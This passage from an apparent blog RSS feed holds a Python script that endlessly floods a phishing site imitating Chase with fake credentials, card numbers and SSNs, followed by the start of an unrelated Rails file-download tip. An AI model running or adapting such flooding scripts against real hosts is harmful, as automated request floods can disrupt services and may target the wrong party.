</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">uuid</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/submit.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># headers that are consistent among every request</span>
</span></span><span class="line"><span class="cl"><span class="n">base_headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_headers_and_payloads</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># telling Python to modify the variables on a global scope</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">step_0_cookie</span><span class="p">,</span> <span class="n">step_1_cookie</span><span class="p">,</span> <span class="n">step_2_cookie</span><span class="p">,</span> <span class="n">step_3_cookie</span><span class="p">,</span> <span class="n">step_4_cookie</span><span class="p">,</span> <span class="n">step_0_payload</span><span class="p">,</span> <span class="n">step_1_payload</span><span class="p">,</span> <span class="n">step_2_payload</span><span class="p">,</span> <span class="n">step_3_payload</span><span class="p">,</span> <span class="n">step_4_payload</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fake_phpsessid</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">26</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=0; ppath=web%2Fauth%2Fdashboard%23%2Fdashboard%2Findex%2Findex&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_1_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=1; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_2_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=2; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_3_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=3; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_4_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=4; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">uid</span> <span class="o">=</span> <span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ipv4</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uagent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_username&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_password&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span><span class="n">length</span><span class="o">=</span><span class="mi">12</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;securityToken&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_1_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;otp&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">100000</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">999999</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># the credit card in the payload has spaces in between every 4 digits, so I am replicating this</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_number</span><span class="p">(</span><span class="s2">&#34;mastercard&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># adding spaces in between every 4 digits</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="p">[</span><span class="n">credit_card_number</span><span class="p">[</span><span class="n">i</span> <span class="p">:</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">4</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">credit_card_number</span><span class="p">),</span> <span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_2_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cnum&#34;</span><span class="p">:</span> <span class="n">credit_card_number</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;expd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_expire</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cvv&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_security_code</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_3_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;3&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;fullname&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">name</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">date_of_birth</span><span class="p">(</span><span class="n">minimum_age</span><span class="o">=</span><span class="mi">18</span><span class="p">)</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%m/</span><span class="si">%d</span><span class="s2">/%Y&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ssn&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ssn</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;phone&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">phone_number</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;address&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">street_address</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;city&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">city</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;state&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">state_abbr</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;zip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">postcode</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_4_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;4&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cemail&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;bdate&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">length</span><span class="o">=</span><span class="mi">12</span>
</span></span><span class="line"><span class="cl">        <span class="p">),</span>  <span class="c1"># the parameter is bdate but in the frontend it asked for password</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">requests_sent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># dynamically generate fake headers and JSON payloads</span>
</span></span><span class="line"><span class="cl">    <span class="n">generate_headers_and_payloads</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># handle exceptions so that the script continues even if there are connection issues</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># for each step, add in corresponding cookie and random content-length to headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_0_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_0_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 0 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_1_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_1_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 1 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_2_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_2_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 2 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_3_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_3_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 3 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">step_4_cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">base_headers</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">215</span><span class="p">))})</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">base_headers</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">step_4_payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Step 4 status code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">requests_sent</span> <span class="o">=</span> <span class="n">requests_sent</span> <span class="o">+</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Requests sent: </span><span class="si">{</span><span class="n">requests_sent</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="n">requests</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">RequestException</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">({</span><span class="n">e</span><span class="p">})</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It&rsquo;s quite lengthy but it works. I ran the script in the background and went about my day.</p>
<img src="/chase-scam/terminal.webp" alt="Terminal output after running the Python script" width="720" height="438" style="max-width: 100%; height: auto; aspect-ratio: 1780 / 1084;" loading="lazy" decoding="async">
<h2 id="more-retaliation-against-scammers">More Retaliation Against Scammers</h2>
<p>If you enjoyed this, I&rsquo;ve done a few other posts similar to this one:</p>
<ul>
<li>

<a href="/hitting-back-at-ledger-scammers-with-python/">Hitting Back at Ledger Scammers With Python</a></li>
<li>

<a href="/using-python-to-flood-scammers-with-fake-passwords/">Using Python to Flood Scammers with Fake Passwords</a></li>
<li>

<a href="/retaliating-against-metamask-scammers-with-python/">Retaliating Against MetaMask Scammers With Python</a></li>
</ul>
<h2 id="elsewhere">Elsewhere</h2>
<p>Also posted on: <a class="u-syndication" href="https://dev.to/nelsonfigueroa/making-life-more-difficult-for-bank-scammers-58ia?ref=nelson.cloud" rel="syndication">dev.to</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Ruby on Rails: Enable File Downloads Using link_to</title>
      <link>https://nelson.cloud/ruby-on-rails-enable-file-downloads-using-link_to/?ref=rss</link>
      <pubDate>Sat, 03 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ruby-on-rails-enable-file-downloads-using-link_to/?ref=rss</guid>
      <description>How to enable file downloads using the link_to helper in Ruby on Rails.</description><content:encoded><![CDATA[<p>In a Ruby on Rails app I was working on, I wanted to include a link that would download a user&rsquo;s data (bank statements in this case) as JSON.</p>
<p>Originally I had the following ERB:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Download All Statements as JSON&#39;</span><span class="p">,</span> <span class="n">statements_download_path</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Clicking this link would show JSON in the browser, but it wouldn&rsquo;t download a JSON file, which is what I wanted.</p>
<p>The solution was to add a <code>download</code> attribute to the ERB snippet:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">&lt;%=</span> <span class="n">link_to</span> <span class="s1">&#39;Download All Statements as JSON&#39;</span><span class="p">,</span> <span class="n">statements_download_path</span><span class="p">,</span> <span class="ss">download</span><span class="p">:</span> <span class="s1">&#39;statements.json&#39;</span> <span class="o">%&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="full-setup">Full Setup</h2>
